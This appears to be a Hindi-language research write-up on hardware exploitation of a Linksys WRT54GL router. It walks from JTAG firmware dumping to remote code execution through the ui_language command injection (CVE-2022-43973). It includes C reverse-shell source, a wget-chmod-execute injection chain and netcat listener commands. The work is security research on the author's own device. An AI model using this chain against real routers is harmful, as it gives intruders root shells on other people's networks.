
सोल्डर से शेल तक: Linksys WRT54GL राउटर का पूर्ण हार्डवेयर शोषण (CVE-2022-43973)
एक 10-चरणीय एंबेडेड सुरक्षा अनुसंधान यात्रा — JTAG पिन खोज से लेकर MIPS-आधारित उपभोक्ता राउटर पर दूरस्थ कोड निष्पादन तक।
| लेखक | उम्बर्टो डेला मोनिका |
| भूमिका | एमएससी साइबर सुरक्षा छात्र — एंबेडेड सुरक्षा शोधकर्ता |
| तिथि | मई 2026 |
| भंडार | Linksys-WRT54GL-Exploitation |
अस्वीकरण: यह शोध केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए उस हार्डवेयर पर किया गया था जो मेरा व्यक्तिगत है। किसी भी अनधिकृत प्रणाली तक पहुँच नहीं बनाई गई। यहाँ वर्णित सभी तकनीकों को केवल उन उपकरणों पर पुन: प्रस्तुत किया जाना चाहिए जो आपके स्वामित्व में हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है। लेखक प्रस्तुत जानकारी के किसी भी दुरुपयोग के लिए कोई दायित्व नहीं लेता है। हमेशा लागू कानूनों, विनियमों और जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें।
Linksys WRT54GL अब तक उत्पादित सबसे प्रतिष्ठित उपभोक्ता राउटरों में से एक है। इसका ओपन-सोर्स फर्मवेयर समर्थन इसे उत्साही और शोधकर्ताओं के बीच समान रूप से पसंदीदा बनाता है। अपनी उम्र के बावजूद, यह दुनिया भर में सक्रिय उपयोग में बना हुआ है, जो इसे एंबेडेड सुरक्षा अनुसंधान के लिए एक प्रासंगिक लक्ष्य बनाता है।
किसी भी हार्डवेयर सुरक्षा मूल्यांकन में पहला कदम भौतिक निरीक्षण है। डिवाइस आवरण खोलने के बाद, मैंने PCB पर दो डीबग इंटरफ़ेस की पहचान की:
चूंकि JTAG हेडर अनपॉपुलेटेड था, मैंने डीबग इंटरफ़ेस तक पहुँचने के लिए एक अस्थायी पिन हेडर सोल्डर किया। मल्टीमीटर का उपयोग करके, मैंने ग्राउंड और Vcc लाइनों की पहचान की और पुष्टि की कि लक्ष्य 3.3V लॉजिक स्तरों पर संचालित होता है — चिपसेट को नुकसान से बचाने के लिए यह महत्वपूर्ण है।
JTAG सिग्नलों का मानचित्रण करने के लिए, मैंने JTAGulator (ग्रैंड आइडिया स्टूडियो द्वारा) का उपयोग किया — एक हार्डवेयर उपकरण जो सभी संभावित पिन संयोजनों की जांच करके स्वचालित रूप से डीबग इंटरफ़ेस की पहचान करता है।
JTAGulator ने निम्नलिखित JTAG पिनआउट को सफलतापूर्वक पहचाना:
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
JTAG पिन की पहचान होने के बाद, मैंने एक Attify Badge — एक ओपन-सोर्स हार्डवेयर सुरक्षा मूल्यांकन उपकरण (GNU GPL v3.0) जिसमें FTDI FT2232H चिप है — को राउटर के JTAG हेडर से जोड़ा।
मैंने BCM5352 लक्ष्य के लिए अनुकूलित एक कस्टम कॉन्फ़िगरेशन के साथ OpenOCD (ओपन ऑन-चिप डीबगर) लॉन्च किया, क्योंकि आधिकारिक कॉन्फ़िगरेशन इस विशिष्ट हार्डवेयर संशोधन के साथ असंगत थे।
कस्टम OpenOCD कॉन्फ़िगरेशन राउटर के फ्लैश विभाजन लेआउट को परिभाषित करता है:
CPU को रोकने के बाद, मैंने मेमोरी-मैप्ड NOR फ्लैश का एक पूर्ण 4 MB डंप किया:
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
binwalk का उपयोग करके, मैंने एम्बेडेड फाइलसिस्टम, संपीड़ित खंडों और कर्नेल छवि की पहचान करने के लिए फर्मवेयर डंप का विश्लेषण किया:
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # एन्ट्रॉपी विश्लेषण
sha256sum ./dumps/wrt54gl.bin # अखंडता सत्यापन
विश्लेषण से एक SquashFS रूट फाइलसिस्टम का पता चला जिसमें एक मानक BusyBox-आधारित लिनक्स वातावरण था। गहन निरीक्षण के लिए मैंने binwalk -e और unsquashfs का उपयोग करके इसे निकाला।
एक सुरक्षित परीक्षण वातावरण बनाने के लिए, मैंने FirmAE — एक स्वचालित फर्मवेयर अनुकरण ढाँचा जो MIPS आर्किटेक्चर का समर्थन करता है — का उपयोग करके फर्मवेयर अनुकरण स्थापित किया। इसने मुझे एक आभासी वातावरण में राउटर की सेवाओं (HTTP, telnet) को पुन: उत्पन्न करने और भौतिक उपकरण को जोखिम में डाले बिना शोषण का परीक्षण करने की अनुमति दी।
MIPS डीकम्पाइलर प्लगइन के साथ Ghidra (NSA के रिवर्स इंजीनियरिंग ढाँचे) का उपयोग करके, मैंने CVE-2022-43973 की उपस्थिति की पुष्टि करने के लिए निकाले गए फर्मवेयर बाइनरी पर स्थैतिक विश्लेषण किया।
यह भेद्यता राउटर के CGI अनुरोध हैंडलर में मौजूद है। /apply.cgi एंडपॉइंट में ui_language फॉर्म फ़ील्ड बिना स्वच्छता के मनमाना इनपुट स्वीकार करता है। ;cmd; सिंटैक्स में लिपटे शेल कमांड को इंजेक्ट करके, एक हमलावर ऐसे कमांड को स्टेज कर सकता है जो बाद में /upgrade.cgi के माध्यम से फर्मवेयर अपग्रेड होने पर निष्पादित हो जाते हैं।
प्रभावित फर्मवेयर संस्करण:
मैंने C में एक कस्टम रिवर्स शेल विकसित किया, जो विशेष रूप से राउटर के MIPS आर्किटेक्चर के लिए डिज़ाइन किया गया था। पेलोड हमलावर के लिए एक TCP कनेक्शन स्थापित करता है, सभी मानक फ़ाइल डिस्क्रिप्टर को सॉकेट पर रीडायरेक्ट करता है, और एक इंटरैक्टिव शेल स्पॉन करता है:
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // stdin रीडायरेक्ट
dup2(sockt, 1); // stdout रीडायरेक्ट
dup2(sockt, 2); // stderr रीडायरेक्ट
execve("/bin/sh", sh_argv, NULL);
लक्ष्य आर्किटेक्चर के लिए पेलोड को संकलित करने के लिए, मैंने एक पुनरुत्पादनीय Docker वातावरण बनाया जिसमें ब्रॉडकॉम MIPS क्रॉस-कम्पाइलेशन टूलचेन (hndtools-mipsel-linux-3.2.3) शामिल था, जो आधिकारिक Linksys GPL रिलीज़ (WRT54GL-ETSI_v4.30.18.006) से प्राप्त हुआ:
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# कंटेनर के अंदर:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
परिणामी बाइनरी पोर्टेबिलिटी के लिए स्थिर रूप से लिंक की गई है — लक्ष्य पर कोई साझा लाइब्रेरी निर्भरता नहीं।
मैंने एक Python शोषण ढाँचा विकसित किया जो CVE-2022-43973 का लाभ उठाकर पूरे हमले की श्रृंखला को स्वचालित करता है। शोषण 4-चरणीय अनुक्रम निष्पादित करता है, प्रत्येक को ui_language पैरामीटर के माध्यम से एक कमांड के रूप में इंजेक्ट किया जाता है:
/tmp/X पर MIPS रिवर्स शेल बाइनरी डाउनलोड करने के लिए wget कमांड इंजेक्ट करेंchmod +x /tmp/X इंजेक्ट करें/tmp/X <attacker_ip> <port> इंजेक्ट करेंui_language को उसके डिफ़ॉल्ट मान (en) पर रीसेट करेंप्रत्येक कमांड को ui_language फ़ील्ड में ;cmd; के रूप में लपेटा जाता है और POST /apply.cgi के माध्यम से भेजा जाता है। एक बाद का POST /upgrade.cgi निष्पादन को ट्रिगर करता है।
हमलावर की मशीन पर, तीन टर्मिनलों की आवश्यकता होती है:
# टर्मिनल 1: रिवर्स शेल बाइनरी सर्व करें
python -m http.server 8000
# टर्मिनल 2: आने वाले रिवर्स शेल को सुनें
nc -lvnp 4141
# टर्मिनल 3: शोषण लॉन्च करें
python exploit.py --host 192.168.1.1 --username admin --password admin \
--attacker-host 192.168.1.2 --attacker-http-port 8000 \
--attacker-handler-port 4141
रिवर्स शेल हमलावर के Netcat सुनने वाले से वापस जुड़ता है, जो राउटर पर एक इंटरैक्टिव रूट शेल प्रदान करता है।
पूर्ण शोषण श्रृंखला को मान्य करने के लिए, मैंने हमले के दौरान Wireshark के साथ नेटवर्क ट्रैफ़िक कैप्चर किया। विश्लेषण ने पुष्टि की:
/apply.cgi और /upgrade.cgi में सही HTTP POST इंजेक्शन अनुक्रमwget के माध्यम से सफल पेलोड डाउनलोडभौतिक पहुँच एक शक्तिशाली हमला वेक्टर है। JTAG रूट-स्तरीय हार्डवेयर पहुँच प्रदान करता है जो सभी सॉफ्टवेयर सुरक्षा तंत्रों को बायपास करता है। एंबेडेड उपकरणों को तैनात करने वाले संगठनों को भौतिक सुरक्षा नियंत्रणों पर विचार करना चाहिए और उत्पादन फर्मवेयर में डीबग इंटरफ़ेस को अक्षम करना चाहिए।
फर्मवेयर निष्कर्षण मौलिक है। फर्मवेयर को डंप और विश्लेषण करने से पूरा सॉफ्टवेयर स्टैक सामने आता है — जिसमें हार्डकोडेड क्रेडेंशियल्स, कॉन्फ़िगरेशन डेटा और कमजोर कोड पथ शामिल हैं जो केवल-नेटवर्क परिप्रेक्ष्य से अदृश्य होते हैं।
अनुकरण सुरक्षित, दोहराने योग्य अनुसंधान को सक्षम बनाता है। FirmAE जैसे उपकरण शोधकर्ताओं को आभासी वातावरण में डिवाइस व्यवहार को पुन: उत्पन्न करने की अनुमति देते हैं, जिससे भौतिक हार्डवेयर को जोखिम में डाले बिना या अनपेक्षित परिणामों को ट्रिगर किए बिना पुनरावृत्त परीक्षण संभव होता है।
सरल इनपुट सत्यापन विफलताओं का गंभीर प्रभाव होता है। CVE-2022-43973 दर्शाता है कि वेब इंटरफ़ेस में एक भी अस्वच्छित फॉर्म फ़ील्ड रूट-स्तरीय पहुँच के साथ पूर्ण डिवाइस समझौता कैसे कर सकता है। गहराई में रक्षा — इनपुट सत्यापन, न्यूनतम विशेषाधिकार, और सुरक्षित कोडिंग प्रथाएँ — आवश्यक बनी हुई है।
पुनरुत्पादनीय टूलचेन मायने रखते हैं। Docker-आधारित क्रॉस-कम्पाइलेशन वातावरण यह सुनिश्चित करते हैं कि पेलोड और उपकरणों को विश्वसनीय रूप से पुनर्निर्मित किया जा सके, जिससे अनुसंधान परिणाम सत्यापन योग्य और साझा करने योग्य बनते हैं।
पुराने उपकरण निरंतर जोखिम का प्रतिनिधित्व करते हैं। WRT54GL वैश्विक रूप से सक्रिय उपयोग में बना हुआ है। जीवन के अंत के उपकरण जो अब सुरक्षा अद्यतन प्राप्त नहीं करते हैं, नेटवर्क सुरक्षा के लिए एक निरंतर खतरा पैदा करते हैं।
गहन तकनीकी विवरण के लिए, निम्नलिखित दस्तावेज़ देखें:
| दस्तावेज़ | विवरण |
|---|---|
| हार्डवेयर सूची | डिवाइस विशिष्टताएँ, पिनआउट, डेटाशीट, और हार्डवेयर उपकरण |
यह परियोजना MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है — विवरण के लिए LICENSE फ़ाइल देखें।
यदि Attify या JTAGulator स्कीमैटिक्स को पुन: प्रस्तुत कर रहे हैं, तो उनके संबंधित लाइसेंस (Attify घटकों के लिए GNU GPL v3.0) का पालन करें।
उम्बर्टो डेला मोनिका
LinkedIn
#EmbeddedSecurity #HardwareSecurity #IoTSecurity #Pentesting #FirmwareAnalysis #JTAG #CVE #ReverseEngineering #CyberSecurity #InfoSec
| विशिष्टता | मान |
|---|
| चिपसेट | ब्रॉडकॉम BCM5352 |
| CPU क्लॉक | 200 MHz |
| आर्किटेक्चर | MIPS 32-बिट (लिटिल एंडियन) |
| फ्लैश मेमोरी | 4 MB NOR (मेमोरी-मैप्ड 0xbfc00000 पर) |
| RAM | 16 MB |
| वायरलेस | IEEE 802.11b/g, 54 Mbps |
| नेटवर्क | 4x LAN + 1x WAN, SPI के साथ NAT फ़ायरवॉल |
| OS | लिनक्स-आधारित (BusyBox) |
| बूटलोडर | CFE (सामान्य फर्मवेयर वातावरण) |
| विभाजन | विवरण | प्रारंभ पता | आकार |
|---|
| CFE | बूटलोडर | 0xbfc00000 | 256 KB |
| फर्मवेयर | कर्नेल + रूट FS | 0xbfc40000 | ~3.7 MB |
| NVRAM | कॉन्फ़िगरेशन | 0xbfff0000 | 64 KB |
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2022-43973 |
| प्रकार | दूरस्थ कोड निष्पादन (RCE) |
| हमला वेक्टर | प्रमाणित HTTP अनुरोध |
| मूल कारण | अस्वच्छित ui_language पैरामीटर के माध्यम से कमांड इंजेक्शन |
| एंडपॉइंट | POST /apply.cgi |
| ट्रिगर | POST /upgrade.cgi (फर्मवेयर अपग्रेड) |
| प्रभाव | पूर्ण रूट-स्तरीय कमांड निष्पादन |
| श्रेणी | उपकरण | उद्देश्य | संदर्भ |
|---|
| हार्डवेयर | Attify Badge | JTAG/UART इंटरफ़ेस एडाप्टर | docs.attify.com (GNU GPL v3.0) |
| हार्डवेयर | JTAGulator | स्वचालित डीबग पिन खोज | Grand Idea Studio |
| सॉफ्टवेयर | OpenOCD | JTAG डीबगिंग और फ्लैश एक्सेस | openocd.org |
| सॉफ्टवेयर | Ghidra | स्थैतिक विश्लेषण और डीकम्पाइलेशन | ghidra-sre.org (NSA) |
| सॉफ्टवेयर | binwalk | फर्मवेयर विश्लेषण और निष्कर्षण | ReFirmLabs |
| सॉफ्टवेयर | FirmAE | फर्मवेयर अनुकरण (MIPS) | GitHub |
| सॉफ्टवेयर | Firmadyne | फर्मवेयर गतिशील विश्लेषण | GitHub |
| सॉफ्टवेयर | Docker | पुनरुत्पादनीय निर्माण वातावरण | docker.com |
| टूलचेन | hndtools-mipsel-linux | ब्रॉडकॉम MIPS क्रॉस-कम्पाइलर | Linksys GPL रिलीज़ |
| सॉफ्टवेयर | Python 3 | शोषण स्वचालन ढाँचा | python.org |
| सॉफ्टवेयर | Wireshark | नेटवर्क ट्रैफ़िक विश्लेषण | wireshark.org |
| मानक | IEEE 1149.1 | JTAG बाउंड्री-स्कैन मानक | IEEE |
| सॉफ्टवेयर स्टैक | Docker सेटअप, OpenOCD कॉन्फ़िगरेशन, टूलचेन विवरण, और समस्या निवारण |
| शोषण प्रक्रिया | आदेशों और स्क्रीनशॉट के साथ चरण-दर-चरण 10-चरणीय कार्यप्रवाह |